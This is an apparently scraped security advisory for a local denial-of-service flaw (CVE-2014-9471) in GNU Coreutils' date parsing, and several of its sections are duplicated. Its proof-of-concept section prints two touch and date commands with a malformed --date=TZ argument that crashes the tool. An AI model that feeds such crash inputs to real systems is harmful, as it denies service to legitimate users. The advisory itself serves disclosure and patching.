GNU Coreutils 'parse_datetime()' Local Denial of Service Vulnerability
BID:71268
Info
GNU Coreutils 'parse_datetime()' Local Denial of Service Vulnerability
| Bugtraq ID: | 71268 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2014-9471 |
| Remote: | No |
| Local: | Yes |
| Published: | Feb 25 2014 12:00AM |
| Updated: | Jan 15 2015 04:04PM |
| Credit: | Bertrand Jacquin |
| Vulnerable: |
Ubuntu Ubuntu Linux 12.04 LTS i386 Ubuntu Ubuntu Linux 12.04 LTS amd64 Ubuntu Ubuntu Linux 10.04 sparc Ubuntu Ubuntu Linux 10.04 powerpc Ubuntu Ubuntu Linux 10.04 i386 Ubuntu Ubuntu Linux 10.04 ARM Ubuntu Ubuntu Linux 10.04 amd64 |
| Not Vulnerable: | |
Discussion
GNU Coreutils 'parse_datetime()' Local Denial of Service Vulnerability
GNU Coreutils is prone to a local denial-of-service vulnerability because it fails to sanitize user-supplied input.
A local attacker can exploit this issue to crash the application, denying service to legitimate users.
GNU Coreutils is prone to a local denial-of-service vulnerability because it fails to sanitize user-supplied input.
A local attacker can exploit this issue to crash the application, denying service to legitimate users.
Exploit / POC
GNU Coreutils 'parse_datetime()' Local Denial of Service Vulnerability
The following example data is available:
touch '--date=TZ="123"345" @1'
date '--date=TZ="123"345" @1'
The following example data is available:
touch '--date=TZ="123"345" @1'
date '--date=TZ="123"345" @1'
Solution / Fix
GNU Coreutils 'parse_datetime()' Local Denial of Service Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
GNU Coreutils 'parse_datetime()' Local Denial of Service Vulnerability
References:
References:
- Coreutils Homepage (GNU)